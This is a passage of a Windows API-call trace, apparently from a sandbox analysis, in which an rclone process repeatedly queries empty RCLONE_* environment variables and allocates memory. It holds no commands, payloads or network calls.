lpBuffer=0xc000971c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.552] GetEnvironmentVariableW (in: lpName="RCLONE_FILE_PERMS", lpBuffer=0xc000971d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.552] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CASE_INSENSITIVE", lpBuffer=0xc000971e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.552] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_BLOCK_NORM_DUPES", lpBuffer=0xc000971ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.552] VirtualAlloc (lpAddress=0xc000980000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000980000 [0184.555] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_WAIT", lpBuffer=0xc000980000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.556] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_WAIT", lpBuffer=0xc0009800d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.556] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_BACK", lpBuffer=0xc0009801a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.556] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_AHEAD", lpBuffer=0xc000980270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.556] VirtualAlloc (lpAddress=0xc000982000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000982000 [0184.556] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_USED_IS_SIZE", lpBuffer=0xc000980340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.556] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_FAST_FINGERPRINT", lpBuffer=0xc000980410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.556] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_DISK_SPACE_TOTAL_SIZE", lpBuffer=0xc0009804e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.557] VirtualAlloc (lpAddress=0xc000984000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000984000 [0184.558] VirtualAlloc (lpAddress=0xc000986000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000986000 [0184.558] VirtualAlloc (lpAddress=0xc00098a000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00098a000 [0184.559] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc0009805b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.559] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CHECKSUM", lpBuffer=0xc000980680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.559] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SEEK", lpBuffer=0xc000980750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.559] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_CACHE_TIME", lpBuffer=0xc000980820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.559] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_REFRESH", lpBuffer=0xc0009808f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.559] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc0009809c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_READ_ONLY", lpBuffer=0xc000980a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MODE", lpBuffer=0xc000980b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_POLL_INTERVAL", lpBuffer=0xc000980c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_AGE", lpBuffer=0xc000980d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_SIZE", lpBuffer=0xc000980dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MIN_FREE_SPACE", lpBuffer=0xc000980ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] VirtualAlloc (lpAddress=0xc000994000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000994000 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE", lpBuffer=0xc000980f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE_LIMIT", lpBuffer=0xc000981040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_PERMS", lpBuffer=0xc000981110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] GetEnvironmentVariableW (in: lpName="RCLONE_FILE_PERMS", lpBuffer=0xc0009811e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.560] VirtualAlloc (lpAddress=0xc000996000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000996000 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CASE_INSENSITIVE", lpBuffer=0xc0009812b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_BLOCK_NORM_DUPES", lpBuffer=0xc000981380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_WAIT", lpBuffer=0xc000981450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_WAIT", lpBuffer=0xc000981520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_BACK", lpBuffer=0xc0009815f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_AHEAD", lpBuffer=0xc0009816c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_USED_IS_SIZE", lpBuffer=0xc000981790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_FAST_FINGERPRINT", lpBuffer=0xc000981860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_DISK_SPACE_TOTAL_SIZE", lpBuffer=0xc000981930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_AUTH_PROXY", lpBuffer=0xc000981a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_ADDR", lpBuffer=0xc000981ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_PUBLIC_IP", lpBuffer=0xc000981ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_PASSIVE_PORT", lpBuffer=0xc000981c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_USER", lpBuffer=0xc000981d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_PASS", lpBuffer=0xc000981e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_CERT", lpBuffer=0xc000981ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.561] VirtualAlloc (lpAddress=0xc000998000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000998000 [0184.561] GetEnvironmentVariableW (in: lpName="RCLONE_KEY", lpBuffer=0xc000998000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.562] VirtualAlloc (lpAddress=0xc00099a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00099a000 [0184.562] VirtualAlloc (lpAddress=0xc00099c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00099c000 [0184.563] VirtualAlloc (lpAddress=0xc00099e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00099e000 [0184.563] VirtualAlloc (lpAddress=0xc0009a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009a0000 [0184.564] VirtualAlloc (lpAddress=0xc0009a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009a2000 [0184.564] VirtualAlloc (lpAddress=0xc0009a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009a4000 [0184.564] VirtualAlloc (lpAddress=0xc0009a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009a6000 [0184.565] VirtualAlloc (lpAddress=0xc0009a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009a8000 [0184.565] VirtualAlloc (lpAddress=0xc0009aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009aa000 [0184.566] VirtualAlloc (lpAddress=0xc0009ac000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009ac000 [0184.566] VirtualAlloc (lpAddress=0xc0009b0000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009b0000 [0184.567] GetEnvironmentVariableW (in: lpName="RCLONE_HTPASSWD", lpBuffer=0xc000998270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.567] GetEnvironmentVariableW (in: lpName="RCLONE_REALM", lpBuffer=0xc000998340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.567] GetEnvironmentVariableW (in: lpName="RCLONE_USER", lpBuffer=0xc000998410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.567] GetEnvironmentVariableW (in: lpName="RCLONE_PASS", lpBuffer=0xc0009984e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.567] GetEnvironmentVariableW (in: lpName="RCLONE_SALT", lpBuffer=0xc0009985b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.567] VirtualAlloc (lpAddress=0xc0009b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009b6000 [0184.568] GetEnvironmentVariableW (in: lpName="RCLONE_ADDR", lpBuffer=0xc000998680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.568] VirtualAlloc (lpAddress=0xc0009b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009b8000 [0184.568] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_READ_TIMEOUT", lpBuffer=0xc000998750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.568] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_WRITE_TIMEOUT", lpBuffer=0xc000998820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.568] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_HEADER_BYTES", lpBuffer=0xc0009988f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.568] GetEnvironmentVariableW (in: lpName="RCLONE_CERT", lpBuffer=0xc0009989c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_KEY", lpBuffer=0xc000998a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_CLIENT_CA", lpBuffer=0xc000998b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_BASEURL", lpBuffer=0xc000998c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_MIN_TLS_VERSION", lpBuffer=0xc000998d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_ALLOW_ORIGIN", lpBuffer=0xc000998dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_TEMPLATE", lpBuffer=0xc000998ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc000998f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CHECKSUM", lpBuffer=0xc000999040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SEEK", lpBuffer=0xc000999110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_CACHE_TIME", lpBuffer=0xc0009991e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_REFRESH", lpBuffer=0xc0009992b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc000999380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_READ_ONLY", lpBuffer=0xc000999450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] VirtualAlloc (lpAddress=0xc0009ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009ba000 [0184.569] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MODE", lpBuffer=0xc000999520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.569] VirtualAlloc (lpAddress=0xc0009bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009bc000 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_POLL_INTERVAL", lpBuffer=0xc0009995f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_AGE", lpBuffer=0xc0009996c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_SIZE", lpBuffer=0xc000999790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MIN_FREE_SPACE", lpBuffer=0xc000999860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE", lpBuffer=0xc000999930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE_LIMIT", lpBuffer=0xc000999a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_PERMS", lpBuffer=0xc000999ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_FILE_PERMS", lpBuffer=0xc000999ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.570] VirtualAlloc (lpAddress=0xc0009be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009be000 [0184.570] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CASE_INSENSITIVE", lpBuffer=0xc000999c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_BLOCK_NORM_DUPES", lpBuffer=0xc000999d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_WAIT", lpBuffer=0xc000999e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_WAIT", lpBuffer=0xc000999ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] VirtualAlloc (lpAddress=0xc0009c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009c0000 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_BACK", lpBuffer=0xc0009c0000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_AHEAD", lpBuffer=0xc0009c00d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_USED_IS_SIZE", lpBuffer=0xc0009c01a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_FAST_FINGERPRINT", lpBuffer=0xc0009c0270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_DISK_SPACE_TOTAL_SIZE", lpBuffer=0xc0009c0340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.571] GetEnvironmentVariableW (in: lpName="RCLONE_AUTH_PROXY", lpBuffer=0xc0009c0410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.572] VirtualAlloc (lpAddress=0xc0009c2000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009c2000 [0184.573] VirtualAlloc (lpAddress=0xc0009c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009c8000 [0184.573] VirtualAlloc (lpAddress=0xc0009ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009ca000 [0184.574] VirtualAlloc (lpAddress=0xc0009cc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009cc000 [0184.574] VirtualAlloc (lpAddress=0xc0009d0000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009d0000 [0184.575] GetEnvironmentVariableW (in: lpName="RCLONE_ADDR", lpBuffer=0xc0009c04e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_READ_TIMEOUT", lpBuffer=0xc0009c05b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_WRITE_TIMEOUT", lpBuffer=0xc0009c0680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_HEADER_BYTES", lpBuffer=0xc0009c0750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_CERT", lpBuffer=0xc0009c0820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_KEY", lpBuffer=0xc0009c08f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_CLIENT_CA", lpBuffer=0xc0009c09c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_BASEURL", lpBuffer=0xc0009c0a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_MIN_TLS_VERSION", lpBuffer=0xc0009c0b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_ALLOW_ORIGIN", lpBuffer=0xc0009c0c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc0009c0d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CHECKSUM", lpBuffer=0xc0009c0dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SEEK", lpBuffer=0xc0009c0ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_CACHE_TIME", lpBuffer=0xc0009c0f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_REFRESH", lpBuffer=0xc0009c1040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc0009c1110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.576] GetEnvironmentVariableW (in: lpName="RCLONE_READ_ONLY", lpBuffer=0xc0009c11e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MODE", lpBuffer=0xc0009c12b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_POLL_INTERVAL", lpBuffer=0xc0009c1380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_AGE", lpBuffer=0xc0009c1450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_SIZE", lpBuffer=0xc0009c1520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MIN_FREE_SPACE", lpBuffer=0xc0009c15f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE", lpBuffer=0xc0009c16c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE_LIMIT", lpBuffer=0xc0009c1790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_PERMS", lpBuffer=0xc0009c1860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_FILE_PERMS", lpBuffer=0xc0009c1930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CASE_INSENSITIVE", lpBuffer=0xc0009c1a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_BLOCK_NORM_DUPES", lpBuffer=0xc0009c1ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_WAIT", lpBuffer=0xc0009c1ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_WAIT", lpBuffer=0xc0009c1c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_BACK", lpBuffer=0xc0009c1d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] VirtualAlloc (lpAddress=0xc0009d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009d6000 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_AHEAD", lpBuffer=0xc0009c1e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.577] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_USED_IS_SIZE", lpBuffer=0xc0009c1ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.578] VirtualAlloc (lpAddress=0xc0009d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009d8000 [0184.578] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_FAST_FINGERPRINT", lpBuffer=0xc0009d8000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.578] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_DISK_SPACE_TOTAL_SIZE", lpBuffer=0xc0009d80d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.578] GetEnvironmentVariableW (in: lpName="RCLONE_FORCE_PATH_STYLE", lpBuffer=0xc0009d81a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.578] GetEnvironmentVariableW (in: lpName="RCLONE_ETAG_HASH", lpBuffer=0xc0009d8270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.578] VirtualAlloc (lpAddress=0xc0009da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009da000 [0184.578] GetEnvironmentVariableW (in: lpName="RCLONE_AUTH_KEY", lpBuffer=0xc0009d8340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.578] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CLEANUP", lpBuffer=0xc0009d8410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.579] VirtualAlloc (lpAddress=0xc0009dc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009dc000 [0184.579] VirtualAlloc (lpAddress=0xc0009e0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009e0000 [0184.580] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc0009d84e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.580] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CHECKSUM", lpBuffer=0xc0009d85b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.580] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SEEK", lpBuffer=0xc0009d8680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.580] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_CACHE_TIME", lpBuffer=0xc0009d8750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.580] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_REFRESH", lpBuffer=0xc0009d8820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc0009d88f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_READ_ONLY", lpBuffer=0xc0009d89c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MODE", lpBuffer=0xc0009d8a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_POLL_INTERVAL", lpBuffer=0xc0009d8b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_AGE", lpBuffer=0xc0009d8c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_SIZE", lpBuffer=0xc0009d8d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MIN_FREE_SPACE", lpBuffer=0xc0009d8dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] VirtualAlloc (lpAddress=0xc0009f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009f0000 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE", lpBuffer=0xc0009d8ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE_LIMIT", lpBuffer=0xc0009d8f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_PERMS", lpBuffer=0xc0009d9040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_FILE_PERMS", lpBuffer=0xc0009d9110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CASE_INSENSITIVE", lpBuffer=0xc0009d91e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_BLOCK_NORM_DUPES", lpBuffer=0xc0009d92b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.581] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_WAIT", lpBuffer=0xc0009d9380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_WAIT", lpBuffer=0xc0009d9450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: 